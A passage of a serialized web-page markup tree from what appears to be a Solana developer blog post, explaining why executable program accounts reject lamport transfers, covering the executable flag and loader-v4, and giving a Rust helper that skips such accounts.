self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[76558],{"type":22,"tag":30,"props":76559,"children":76560},{"__ignoreMap":7},[76561,76569,76590,76662,76670,76729,76761,76768,76776,76804,76836,76843,76851,76875,76907,76914,76922,76957,76973,76980,77008,77043,77054,77061,77068,77076,77095,77103,77143,77155,77167,77179,77210],{"type":22,"tag":101,"props":76562,"children":76563},{"class":103,"line":104},[76564],{"type":22,"tag":101,"props":76565,"children":76566},{"style":2215},[76567],{"type":27,"value":76568},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":22,"tag":101,"props":76570,"children":76571},{"class":103,"line":157},[76572,76577,76581,76586],{"type":22,"tag":101,"props":76573,"children":76574},{"style":120},[76575],{"type":27,"value":76576},"#[cfg(not(target_os ",{"type":22,"tag":101,"props":76578,"children":76579},{"style":166},[76580],{"type":27,"value":1511},{"type":22,"tag":101,"props":76582,"children":76583},{"style":6476},[76584],{"type":27,"value":76585}," \"solana\"",{"type":22,"tag":101,"props":76587,"children":76588},{"style":120},[76589],{"type":27,"value":24597},{"type":22,"tag":101,"props":76591,"children":76592},{"class":103,"line":182},[76593,76597,76601,76606,76610,76614,76618,76622,76626,76630,76634,76638,76642,76646,76650,76654,76658],{"type":22,"tag":101,"props":76594,"children":76595},{"style":108},[76596],{"type":27,"value":17693},{"type":22,"tag":101,"props":76598,"children":76599},{"style":108},[76600],{"type":27,"value":17698},{"type":22,"tag":101,"props":76602,"children":76603},{"style":926},[76604],{"type":27,"value":76605}," set_lamports",{"type":22,"tag":101,"props":76607,"children":76608},{"style":120},[76609],{"type":27,"value":980},{"type":22,"tag":101,"props":76611,"children":76612},{"style":166},[76613],{"type":27,"value":985},{"type":22,"tag":101,"props":76615,"children":76616},{"style":108},[76617],{"type":27,"value":7760},{"type":22,"tag":101,"props":76619,"children":76620},{"style":108},[76621],{"type":27,"value":17799},{"type":22,"tag":101,"props":76623,"children":76624},{"style":120},[76625],{"type":27,"value":758},{"type":22,"tag":101,"props":76627,"children":76628},{"style":126},[76629],{"type":27,"value":19510},{"type":22,"tag":101,"props":76631,"children":76632},{"style":166},[76633],{"type":27,"value":169},{"type":22,"tag":101,"props":76635,"children":76636},{"style":114},[76637],{"type":27,"value":174},{"type":22,"tag":101,"props":76639,"children":76640},{"style":120},[76641],{"type":27,"value":901},{"type":22,"tag":101,"props":76643,"children":76644},{"style":166},[76645],{"type":27,"value":17759},{"type":22,"tag":101,"props":76647,"children":76648},{"style":114},[76649],{"type":27,"value":17764},{"type":22,"tag":101,"props":76651,"children":76652},{"style":120},[76653],{"type":27,"value":17769},{"type":22,"tag":101,"props":76655,"children":76656},{"style":114},[76657],{"type":27,"value":19756},{"type":22,"tag":101,"props":76659,"children":76660},{"style":120},[76661],{"type":27,"value":2282},{"type":22,"tag":101,"props":76663,"children":76664},{"class":103,"line":367},[76665],{"type":22,"tag":101,"props":76666,"children":76667},{"style":2215},[76668],{"type":27,"value":76669}," // An account not owned by the program cannot have its balance decrease\n",{"type":22,"tag":101,"props":76671,"children":76672},{"class":103,"line":398},[76673,76677,76681,76685,76689,76694,76698,76703,76708,76712,76716,76720,76725],{"type":22,"tag":101,"props":76674,"children":76675},{"style":3595},[76676],{"type":27,"value":16283},{"type":22,"tag":101,"props":76678,"children":76679},{"style":166},[76680],{"type":27,"value":16868},{"type":22,"tag":101,"props":76682,"children":76683},{"style":108},[76684],{"type":27,"value":4242},{"type":22,"tag":101,"props":76686,"children":76687},{"style":166},[76688],{"type":27,"value":231},{"type":22,"tag":101,"props":76690,"children":76691},{"style":926},[76692],{"type":27,"value":76693},"is_owned_by_current_program",{"type":22,"tag":101,"props":76695,"children":76696},{"style":120},[76697],{"type":27,"value":18045},{"type":22,"tag":101,"props":76699,"children":76700},{"style":166},[76701],{"type":27,"value":76702},"&&",{"type":22,"tag":101,"props":76704,"children":76705},{"style":126},[76706],{"type":27,"value":76707}," lamports",{"type":22,"tag":101,"props":76709,"children":76710},{"style":166},[76711],{"type":27,"value":12726},{"type":22,"tag":101,"props":76713,"children":76714},{"style":108},[76715],{"type":27,"value":17799},{"type":22,"tag":101,"props":76717,"children":76718},{"style":166},[76719],{"type":27,"value":231},{"type":22,"tag":101,"props":76721,"children":76722},{"style":926},[76723],{"type":27,"value":76724},"get_lamports",{"type":22,"tag":101,"props":76726,"children":76727},{"style":120},[76728],{"type":27,"value":19734},{"type":22,"tag":101,"props":76730,"children":76731},{"class":103,"line":428},[76732,76736,76740,76744,76748,76752,76757],{"type":22,"tag":101,"props":76733,"children":76734},{"style":3595},[76735],{"type":27,"value":19742},{"type":22,"tag":101,"props":76737,"children":76738},{"style":114},[76739],{"type":27,"value":19747},{"type":22,"tag":101,"props":76741,"children":76742},{"style":120},[76743],{"type":27,"value":980},{"type":22,"tag":101,"props":76745,"children":76746},{"style":114},[76747],{"type":27,"value":19756},{"type":22,"tag":101,"props":76749,"children":76750},{"style":166},[76751],{"type":27,"value":970},{"type":22,"tag":101,"props":76753,"children":76754},{"style":114},[76755],{"type":27,"value":76756},"ExternalAccountLamportSpend",{"type":22,"tag":101,"props":76758,"children":76759},{"style":120},[76760],{"type":27,"value":994},{"type":22,"tag":101,"props":76762,"children":76763},{"class":103,"line":997},[76764],{"type":22,"tag":101,"props":76765,"children":76766},{"style":120},[76767],{"type":27,"value":1734},{"type":22,"tag":101,"props":76769,"children":76770},{"class":103,"line":1032},[76771],{"type":22,"tag":101,"props":76772,"children":76773},{"style":2215},[76774],{"type":27,"value":76775}," // The balance of read-only may not change\n",{"type":22,"tag":101,"props":76777,"children":76778},{"class":103,"line":1063},[76779,76783,76787,76791,76795,76800],{"type":22,"tag":101,"props":76780,"children":76781},{"style":3595},[76782],{"type":27,"value":16283},{"type":22,"tag":101,"props":76784,"children":76785},{"style":166},[76786],{"type":27,"value":16868},{"type":22,"tag":101,"props":76788,"children":76789},{"style":108},[76790],{"type":27,"value":4242},{"type":22,"tag":101,"props":76792,"children":76793},{"style":166},[76794],{"type":27,"value":231},{"type":22,"tag":101,"props":76796,"children":76797},{"style":926},[76798],{"type":27,"value":76799},"is_writable",{"type":22,"tag":101,"props":76801,"children":76802},{"style":120},[76803],{"type":27,"value":19734},{"type":22,"tag":101,"props":76805,"children":76806},{"class":103,"line":1071},[76807,76811,76815,76819,76823,76827,76832],{"type":22,"tag":101,"props":76808,"children":76809},{"style":3595},[76810],{"type":27,"value":19742},{"type":22,"tag":101,"props":76812,"children":76813},{"style":114},[76814],{"type":27,"value":19747},{"type":22,"tag":101,"props":76816,"children":76817},{"style":120},[76818],{"type":27,"value":980},{"type":22,"tag":101,"props":76820,"children":76821},{"style":114},[76822],{"type":27,"value":19756},{"type":22,"tag":101,"props":76824,"children":76825},{"style":166},[76826],{"type":27,"value":970},{"type":22,"tag":101,"props":76828,"children":76829},{"style":114},[76830],{"type":27,"value":76831},"ReadonlyLamportChange",{"type":22,"tag":101,"props":76833,"children":76834},{"style":120},[76835],{"type":27,"value":994},{"type":22,"tag":101,"props":76837,"children":76838},{"class":103,"line":1110},[76839],{"type":22,"tag":101,"props":76840,"children":76841},{"style":120},[76842],{"type":27,"value":1734},{"type":22,"tag":101,"props":76844,"children":76845},{"class":103,"line":1118},[76846],{"type":22,"tag":101,"props":76847,"children":76848},{"style":2215},[76849],{"type":27,"value":76850}," // The balance of executable accounts may not change\n",{"type":22,"tag":101,"props":76852,"children":76853},{"class":103,"line":1158},[76854,76858,76862,76866,76871],{"type":22,"tag":101,"props":76855,"children":76856},{"style":3595},[76857],{"type":27,"value":16283},{"type":22,"tag":101,"props":76859,"children":76860},{"style":108},[76861],{"type":27,"value":17799},{"type":22,"tag":101,"props":76863,"children":76864},{"style":166},[76865],{"type":27,"value":231},{"type":22,"tag":101,"props":76867,"children":76868},{"style":926},[76869],{"type":27,"value":76870},"is_executable_internal",{"type":22,"tag":101,"props":76872,"children":76873},{"style":120},[76874],{"type":27,"value":19734},{"type":22,"tag":101,"props":76876,"children":76877},{"class":103,"line":1166},[76878,76882,76886,76890,76894,76898,76903],{"type":22,"tag":101,"props":76879,"children":76880},{"style":3595},[76881],{"type":27,"value":19742},{"type":22,"tag":101,"props":76883,"children":76884},{"style":114},[76885],{"type":27,"value":19747},{"type":22,"tag":101,"props":76887,"children":76888},{"style":120},[76889],{"type":27,"value":980},{"type":22,"tag":101,"props":76891,"children":76892},{"style":114},[76893],{"type":27,"value":19756},{"type":22,"tag":101,"props":76895,"children":76896},{"style":166},[76897],{"type":27,"value":970},{"type":22,"tag":101,"props":76899,"children":76900},{"style":114},[76901],{"type":27,"value":76902},"ExecutableLamportChange",{"type":22,"tag":101,"props":76904,"children":76905},{"style":120},[76906],{"type":27,"value":994},{"type":22,"tag":101,"props":76908,"children":76909},{"class":103,"line":1215},[76910],{"type":22,"tag":101,"props":76911,"children":76912},{"style":120},[76913],{"type":27,"value":1734},{"type":22,"tag":101,"props":76915,"children":76916},{"class":103,"line":2425},[76917],{"type":22,"tag":101,"props":76918,"children":76919},{"style":2215},[76920],{"type":27,"value":76921}," // don't touch the account if the lamports do not change\n",{"type":22,"tag":101,"props":76923,"children":76924},{"class":103,"line":5417},[76925,76929,76933,76937,76941,76945,76949,76953],{"type":22,"tag":101,"props":76926,"children":76927},{"style":3595},[76928],{"type":27,"value":16283},{"type":22,"tag":101,"props":76930,"children":76931},{"style":108},[76932],{"type":27,"value":17799},{"type":22,"tag":101,"props":76934,"children":76935},{"style":166},[76936],{"type":27,"value":231},{"type":22,"tag":101,"props":76938,"children":76939},{"style":926},[76940],{"type":27,"value":76724},{"type":22,"tag":101,"props":76942,"children":76943},{"style":120},[76944],{"type":27,"value":18045},{"type":22,"tag":101,"props":76946,"children":76947},{"style":166},[76948],{"type":27,"value":4340},{"type":22,"tag":101,"props":76950,"children":76951},{"style":126},[76952],{"type":27,"value":76707},{"type":22,"tag":101,"props":76954,"children":76955},{"style":120},[76956],{"type":27,"value":154},{"type":22,"tag":101,"props":76958,"children":76959},{"class":103,"line":7714},[76960,76964,76968],{"type":22,"tag":101,"props":76961,"children":76962},{"style":3595},[76963],{"type":27,"value":19742},{"type":22,"tag":101,"props":76965,"children":76966},{"style":114},[76967],{"type":27,"value":46932},{"type":22,"tag":101,"props":76969,"children":76970},{"style":120},[76971],{"type":27,"value":76972},"(());\n",{"type":22,"tag":101,"props":76974,"children":76975},{"class":103,"line":7723},[76976],{"type":22,"tag":101,"props":76977,"children":76978},{"style":120},[76979],{"type":27,"value":1734},{"type":22,"tag":101,"props":76981,"children":76982},{"class":103,"line":7791},[76983,76987,76991,76996,77000,77004],{"type":22,"tag":101,"props":76984,"children":76985},{"style":108},[76986],{"type":27,"value":4856},{"type":22,"tag":101,"props":76988,"children":76989},{"style":166},[76990],{"type":27,"value":231},{"type":22,"tag":101,"props":76992,"children":76993},{"style":926},[76994],{"type":27,"value":76995},"touch",{"type":22,"tag":101,"props":76997,"children":76998},{"style":120},[76999],{"type":27,"value":17881},{"type":22,"tag":101,"props":77001,"children":77002},{"style":166},[77003],{"type":27,"value":5455},{"type":22,"tag":101,"props":77005,"children":77006},{"style":120},[77007],{"type":27,"value":1520},{"type":22,"tag":101,"props":77009,"children":77010},{"class":103,"line":7799},[77011,77015,77019,77023,77027,77031,77035,77039],{"type":22,"tag":101,"props":77012,"children":77013},{"style":108},[77014],{"type":27,"value":4856},{"type":22,"tag":101,"props":77016,"children":77017},{"style":166},[77018],{"type":27,"value":231},{"type":22,"tag":101,"props":77020,"children":77021},{"style":120},[77022],{"type":27,"value":6713},{"type":22,"tag":101,"props":77024,"children":77025},{"style":166},[77026],{"type":27,"value":231},{"type":22,"tag":101,"props":77028,"children":77029},{"style":926},[77030],{"type":27,"value":76538},{"type":22,"tag":101,"props":77032,"children":77033},{"style":120},[77034],{"type":27,"value":980},{"type":22,"tag":101,"props":77036,"children":77037},{"style":126},[77038],{"type":27,"value":19510},{"type":22,"tag":101,"props":77040,"children":77041},{"style":120},[77042],{"type":27,"value":994},{"type":22,"tag":101,"props":77044,"children":77045},{"class":103,"line":7829},[77046,77050],{"type":22,"tag":101,"props":77047,"children":77048},{"style":114},[77049],{"type":27,"value":18335},{"type":22,"tag":101,"props":77051,"children":77052},{"style":120},[77053],{"type":27,"value":18340},{"type":22,"tag":101,"props":77055,"children":77056},{"class":103,"line":7837},[77057],{"type":22,"tag":101,"props":77058,"children":77059},{"style":120},[77060],{"type":27,"value":188},{"type":22,"tag":101,"props":77062,"children":77063},{"class":103,"line":7868},[77064],{"type":22,"tag":101,"props":77065,"children":77066},{"emptyLinePlaceholder":15},[77067],{"type":27,"value":1581},{"type":22,"tag":101,"props":77069,"children":77070},{"class":103,"line":7876},[77071],{"type":22,"tag":101,"props":77072,"children":77073},{"style":2215},[77074],{"type":27,"value":77075},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":22,"tag":101,"props":77077,"children":77078},{"class":103,"line":7936},[77079,77083,77087,77091],{"type":22,"tag":101,"props":77080,"children":77081},{"style":120},[77082],{"type":27,"value":76576},{"type":22,"tag":101,"props":77084,"children":77085},{"style":166},[77086],{"type":27,"value":1511},{"type":22,"tag":101,"props":77088,"children":77089},{"style":6476},[77090],{"type":27,"value":76585},{"type":22,"tag":101,"props":77092,"children":77093},{"style":120},[77094],{"type":27,"value":24597},{"type":22,"tag":101,"props":77096,"children":77097},{"class":103,"line":13054},[77098],{"type":22,"tag":101,"props":77099,"children":77100},{"style":120},[77101],{"type":27,"value":77102},"#[inline]\n",{"type":22,"tag":101,"props":77104,"children":77105},{"class":103,"line":13072},[77106,77110,77115,77119,77123,77127,77131,77135,77139],{"type":22,"tag":101,"props":77107,"children":77108},{"style":108},[77109],{"type":27,"value":24258},{"type":22,"tag":101,"props":77111,"children":77112},{"style":926},[77113],{"type":27,"value":77114}," is_executable_internal",{"type":22,"tag":101,"props":77116,"children":77117},{"style":120},[77118],{"type":27,"value":980},{"type":22,"tag":101,"props":77120,"children":77121},{"style":166},[77122],{"type":27,"value":985},{"type":22,"tag":101,"props":77124,"children":77125},{"style":108},[77126],{"type":27,"value":4242},{"type":22,"tag":101,"props":77128,"children":77129},{"style":120},[77130],{"type":27,"value":901},{"type":22,"tag":101,"props":77132,"children":77133},{"style":166},[77134],{"type":27,"value":17759},{"type":22,"tag":101,"props":77136,"children":77137},{"style":114},[77138],{"type":27,"value":360},{"type":22,"tag":101,"props":77140,"children":77141},{"style":120},[77142],{"type":27,"value":154},{"type":22,"tag":101,"props":77144,"children":77145},{"class":103,"line":13117},[77146,77150],{"type":22,"tag":101,"props":77147,"children":77148},{"style":166},[77149],{"type":27,"value":24957},{"type":22,"tag":101,"props":77151,"children":77152},{"style":108},[77153],{"type":27,"value":77154},"self\n",{"type":22,"tag":101,"props":77156,"children":77157},{"class":103,"line":13223},[77158,77162],{"type":22,"tag":101,"props":77159,"children":77160},{"style":166},[77161],{"type":27,"value":71764},{"type":22,"tag":101,"props":77163,"children":77164},{"style":120},[77165],{"type":27,"value":77166},"transaction_context\n",{"type":22,"tag":101,"props":77168,"children":77169},{"class":103,"line":27496},[77170,77174],{"type":22,"tag":101,"props":77171,"children":77172},{"style":166},[77173],{"type":27,"value":71764},{"type":22,"tag":101,"props":77175,"children":77176},{"style":120},[77177],{"type":27,"value":77178},"remove_accounts_executable_flag_checks\n",{"type":22,"tag":101,"props":77180,"children":77181},{"class":103,"line":27531},[77182,77186,77190,77194,77198,77202,77206],{"type":22,"tag":101,"props":77183,"children":77184},{"style":166},[77185],{"type":27,"value":46796},{"type":22,"tag":101,"props":77187,"children":77188},{"style":108},[77189],{"type":27,"value":17799},{"type":22,"tag":101,"props":77191,"children":77192},{"style":166},[77193],{"type":27,"value":231},{"type":22,"tag":101,"props":77195,"children":77196},{"style":120},[77197],{"type":27,"value":6713},{"type":22,"tag":101,"props":77199,"children":77200},{"style":166},[77201],{"type":27,"value":231},{"type":22,"tag":101,"props":77203,"children":77204},{"style":926},[77205],{"type":27,"value":19653},{"type":22,"tag":101,"props":77207,"children":77208},{"style":120},[77209],{"type":27,"value":11746},{"type":22,"tag":101,"props":77211,"children":77212},{"class":103,"line":27539},[77213],{"type":22,"tag":101,"props":77214,"children":77215},{"style":120},[77216],{"type":27,"value":188},{"type":22,"tag":23,"props":77218,"children":77219},{},[77220],{"type":27,"value":77221},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":22,"tag":23,"props":77223,"children":77224},{},[77225,77227,77232],{"type":27,"value":77226},"Specifically, ",{"type":22,"tag":9370,"props":77228,"children":77229},{},[77230],{"type":27,"value":77231},"executable accounts",{"type":27,"value":77233}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":22,"tag":22883,"props":77235,"children":77237},{"id":77236},"sidebar-whats-the-executable-flag-anyway",[77238],{"type":27,"value":77239},"Sidebar: What's the executable Flag Anyway?",{"type":22,"tag":23,"props":77241,"children":77242},{},[77243,77244,77249],{"type":27,"value":2007},{"type":22,"tag":30,"props":77245,"children":77247},{"className":77246},[],[77248],{"type":27,"value":19653},{"type":27,"value":77250}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":22,"tag":23,"props":77252,"children":77253},{},[77254,77256,77261],{"type":27,"value":77255},"This behavior became problematic with the introduction of the ",{"type":22,"tag":9370,"props":77257,"children":77258},{},[77259],{"type":27,"value":77260},"Upgradeable BPF Loader",{"type":27,"value":77262},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":22,"tag":91,"props":77264,"children":77266},{"className":93,"code":77265,"language":95,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[77267],{"type":22,"tag":30,"props":77268,"children":77269},{"__ignoreMap":7},[77270,77282,77290,77310,77318,77330,77338,77358,77366,77394,77402,77410],{"type":22,"tag":101,"props":77271,"children":77272},{"class":103,"line":104},[77273,77278],{"type":22,"tag":101,"props":77274,"children":77275},{"style":114},[77276],{"type":27,"value":77277},"Program",{"type":22,"tag":101,"props":77279,"children":77280},{"style":120},[77281],{"type":27,"value":154},{"type":22,"tag":101,"props":77283,"children":77284},{"class":103,"line":157},[77285],{"type":22,"tag":101,"props":77286,"children":77287},{"style":2215},[77288],{"type":27,"value":77289}," /// Address of the ProgramData account.\n",{"type":22,"tag":101,"props":77291,"children":77292},{"class":103,"line":182},[77293,77298,77302,77306],{"type":22,"tag":101,"props":77294,"children":77295},{"style":126},[77296],{"type":27,"value":77297}," programdata_address",{"type":22,"tag":101,"props":77299,"children":77300},{"style":166},[77301],{"type":27,"value":169},{"type":22,"tag":101,"props":77303,"children":77304},{"style":114},[77305],{"type":27,"value":24844},{"type":22,"tag":101,"props":77307,"children":77308},{"style":120},[77309],{"type":27,"value":179},{"type":22,"tag":101,"props":77311,"children":77312},{"class":103,"line":367},[77313],{"type":22,"tag":101,"props":77314,"children":77315},{"style":120},[77316],{"type":27,"value":77317},"},\n",{"type":22,"tag":101,"props":77319,"children":77320},{"class":103,"line":398},[77321,77326],{"type":22,"tag":101,"props":77322,"children":77323},{"style":114},[77324],{"type":27,"value":77325},"ProgramData",{"type":22,"tag":101,"props":77327,"children":77328},{"style":120},[77329],{"type":27,"value":154},{"type":22,"tag":101,"props":77331,"children":77332},{"class":103,"line":428},[77333],{"type":22,"tag":101,"props":77334,"children":77335},{"style":2215},[77336],{"type":27,"value":77337}," /// Slot that the program was last modified.\n",{"type":22,"tag":101,"props":77339,"children":77340},{"class":103,"line":997},[77341,77346,77350,77354],{"type":22,"tag":101,"props":77342,"children":77343},{"style":126},[77344],{"type":27,"value":77345}," slot",{"type":22,"tag":101,"props":77347,"children":77348},{"style":166},[77349],{"type":27,"value":169},{"type":22,"tag":101,"props":77351,"children":77352},{"style":114},[77353],{"type":27,"value":174},{"type":22,"tag":101,"props":77355,"children":77356},{"style":120},[77357],{"type":27,"value":179},{"type":22,"tag":101,"props":77359,"children":77360},{"class":103,"line":1032},[77361],{"type":22,"tag":101,"props":77362,"children":77363},{"style":2215},[77364],{"type":27,"value":77365}," /// Address of the Program's upgrade authority.\n",{"type":22,"tag":101,"props":77367,"children":77368},{"class":103,"line":1063},[77369,77374,77378,77382,77386,77390],{"type":22,"tag":101,"props":77370,"children":77371},{"style":126},[77372],{"type":27,"value":77373}," upgrade_authority_address",{"type":22,"tag":101,"props":77375,"children":77376},{"style":166},[77377],{"type":27,"value":169},{"type":22,"tag":101,"props":77379,"children":77380},{"style":114},[77381],{"type":27,"value":31644},{"type":22,"tag":101,"props":77383,"children":77384},{"style":120},[77385],{"type":27,"value":123},{"type":22,"tag":101,"props":77387,"children":77388},{"style":114},[77389],{"type":27,"value":25385},{"type":22,"tag":101,"props":77391,"children":77392},{"style":120},[77393],{"type":27,"value":343},{"type":22,"tag":101,"props":77395,"children":77396},{"class":103,"line":1071},[77397],{"type":22,"tag":101,"props":77398,"children":77399},{"style":2215},[77400],{"type":27,"value":77401}," // The raw program data follows this serialized structure in the\n",{"type":22,"tag":101,"props":77403,"children":77404},{"class":103,"line":1110},[77405],{"type":22,"tag":101,"props":77406,"children":77407},{"style":2215},[77408],{"type":27,"value":77409}," // account's data.\n",{"type":22,"tag":101,"props":77411,"children":77412},{"class":103,"line":1118},[77413],{"type":22,"tag":101,"props":77414,"children":77415},{"style":120},[77416],{"type":27,"value":77317},{"type":22,"tag":23,"props":77418,"children":77419},{},[77420,77422,77429],{"type":27,"value":77421},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":22,"tag":80,"props":77423,"children":77426},{"href":77424,"rel":77425},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[84],[77427],{"type":27,"value":77428},"SIMD-0162",{"type":27,"value":77430},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":22,"tag":23,"props":77432,"children":77433},{},[77434,77436,77441,77443,77448],{"type":27,"value":77435},"This change is also a ",{"type":22,"tag":9370,"props":77437,"children":77438},{},[77439],{"type":27,"value":77440},"hard requirement for supporting the new loader-v4",{"type":27,"value":77442},". Unlike the upgradable loader, which relies on a separate ",{"type":22,"tag":30,"props":77444,"children":77446},{"className":77445},[],[77447],{"type":27,"value":77325},{"type":27,"value":77449}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":22,"tag":23,"props":77451,"children":77452},{},[77453,77455,77462,77464,77469],{"type":27,"value":77454},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":22,"tag":80,"props":77456,"children":77459},{"href":77457,"rel":77458},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[84],[77460],{"type":27,"value":77461},"migrate",{"type":27,"value":77463}," from the upgradable loader to loader-v4 — without hitting the ",{"type":22,"tag":30,"props":77465,"children":77467},{"className":77466},[],[77468],{"type":27,"value":76902},{"type":27,"value":77470}," restriction.",{"type":22,"tag":22883,"props":77472,"children":77474},{"id":77473},"fix-2-reject-program-accounts",[77475],{"type":27,"value":77476},"Fix 2: Reject Program Accounts",{"type":22,"tag":23,"props":77478,"children":77479},{},[77480],{"type":27,"value":77481},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":22,"tag":91,"props":77483,"children":77485},{"className":93,"code":77484,"language":95,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[77486],{"type":22,"tag":30,"props":77487,"children":77488},{"__ignoreMap":7},[77489,77565,77613,77629,77636,77675,77719,77743,77792,77820],{"type":22,"tag":101,"props":77490,"children":77491},{"class":103,"line":104},[77492,77496,77500,77505,77509,77513,77517,77521,77525,77529,77533,77537,77541,77545,77549,77553,77557,77561],{"type":22,"tag":101,"props":77493,"children":77494},{"style":108},[77495],{"type":27,"value":17693},{"type":22,"tag":101,"props":77497,"children":77498},{"style":108},[77499],{"type":27,"value":17698},{"type":22,"tag":101,"props":77501,"children":77502},{"style":926},[77503],{"type":27,"value":77504}," can_transfer_lamports",{"type":22,"tag":101,"props":77506,"children":77507},{"style":120},[77508],{"type":27,"value":980},{"type":22,"tag":101,"props":77510,"children":77511},{"style":126},[77512],{"type":27,"value":6713},{"type":22,"tag":101,"props":77514,"children":77515},{"style":166},[77516],{"type":27,"value":169},{"type":22,"tag":101,"props":77518,"children":77519},{"style":166},[77520],{"type":27,"value":870},{"type":22,"tag":101,"props":77522,"children":77523},{"style":114},[77524],{"type":27,"value":18940},{"type":22,"tag":101,"props":77526,"children":77527},{"style":120},[77528],{"type":27,"value":758},{"type":22,"tag":101,"props":77530,"children":77531},{"style":126},[77532],{"type":27,"value":19510},{"type":22,"tag":101,"props":77534,"children":77535},{"style":166},[77536],{"type":27,"value":169},{"type":22,"tag":101,"props":77538,"children":77539},{"style":114},[77540],{"type":27,"value":174},{"type":22,"tag":101,"props":77542,"children":77543},{"style":120},[77544],{"type":27,"value":901},{"type":22,"tag":101,"props":77546,"children":77547},{"style":166},[77548],{"type":27,"value":17759},{"type":22,"tag":101,"props":77550,"children":77551},{"style":114},[77552],{"type":27,"value":17764},{"type":22,"tag":101,"props":77554,"children":77555},{"style":120},[77556],{"type":27,"value":123},{"type":22,"tag":101,"props":77558,"children":77559},{"style":114},[77560],{"type":27,"value":33682},{"type":22,"tag":101,"props":77562,"children":77563},{"style":120},[77564],{"type":27,"value":2282},{"type":22,"tag":101,"props":77566,"children":77567},{"class":103,"line":157},[77568,77572,77577,77581,77585,77589,77593,77597,77601,77605,77609],{"type":22,"tag":101,"props":77569,"children":77570},{"style":108},[77571],{"type":27,"value":24258},{"type":22,"tag":101,"props":77573,"children":77574},{"style":926},[77575],{"type":27,"value":77576}," is_program",{"type":22,"tag":101,"props":77578,"children":77579},{"style":120},[77580],{"type":27,"value":980},{"type":22,"tag":101,"props":77582,"children":77583},{"style":126},[77584],{"type":27,"value":6713},{"type":22,"tag":101,"props":77586,"children":77587},{"style":166},[77588],{"type":27,"value":169},{"type":22,"tag":101,"props":77590,"children":77591},{"style":166},[77592],{"type":27,"value":870},{"type":22,"tag":101,"props":77594,"children":77595},{"style":114},[77596],{"type":27,"value":18940},{"type":22,"tag":101,"props":77598,"children":77599},{"style":120},[77600],{"type":27,"value":901},{"type":22,"tag":101,"props":77602,"children":77603},{"style":166},[77604],{"type":27,"value":17759},{"type":22,"tag":101,"props":77606,"children":77607},{"style":114},[77608],{"type":27,"value":360},{"type":22,"tag":101,"props":77610,"children":77611},{"style":120},[77612],{"type":27,"value":154},{"type":22,"tag":101,"props":77614,"children":77615},{"class":103,"line":182},[77616,77620,77624],{"type":22,"tag":101,"props":77617,"children":77618},{"style":126},[77619],{"type":27,"value":6626},{"type":22,"tag":101,"props":77621,"children":77622},{"style":166},[77623],{"type":27,"value":231},{"type":22,"tag":101,"props":77625,"children":77626},{"style":120},[77627],{"type":27,"value":77628},"executable\n",{"type":22,"tag":101,"props":77630,"children":77631},{"class":103,"line":367},[77632],{"type":22,"tag":101,"props":77633,"children":77634},{"style":120},[77635],{"type":27,"value":188},{"type":22,"tag":101,"props":77637,"children":77638},{"class":103,"line":398},[77639,77643,77647,77651,77655,77659,77663,77667,77671],{"type":22,"tag":101,"props":77640,"children":77641},{"style":108},[77642],{"type":27,"value":15792},{"type":22,"tag":101,"props":77644,"children":77645},{"style":126},[77646],{"type":27,"value":76396},{"type":22,"tag":101,"props":77648,"children":77649},{"style":166},[77650],{"type":27,"value":960},{"type":22,"tag":101,"props":77652,"children":77653},{"style":114},[77654],{"type":27,"value":47467},{"type":22,"tag":101,"props":77656,"children":77657},{"style":166},[77658],{"type":27,"value":970},{"type":22,"tag":101,"props":77660,"children":77661},{"style":926},[77662],{"type":27,"value":20350},{"type":22,"tag":101,"props":77664,"children":77665},{"style":120},[77666],{"type":27,"value":17881},{"type":22,"tag":101,"props":77668,"children":77669},{"style":166},[77670],{"type":27,"value":5455},{"type":22,"tag":101,"props":77672,"children":77673},{"style":120},[77674],{"type":27,"value":1520},{"type":22,"tag":101,"props":77676,"children":77677},{"class":103,"line":428},[77678,77682,77687,77691,77695,77699,77703,77707,77711,77715],{"type":22,"tag":101,"props":77679,"children":77680},{"style":108},[77681],{"type":27,"value":15792},{"type":22,"tag":101,"props":77683,"children":77684},{"style":126},[77685],{"type":27,"value":77686}," 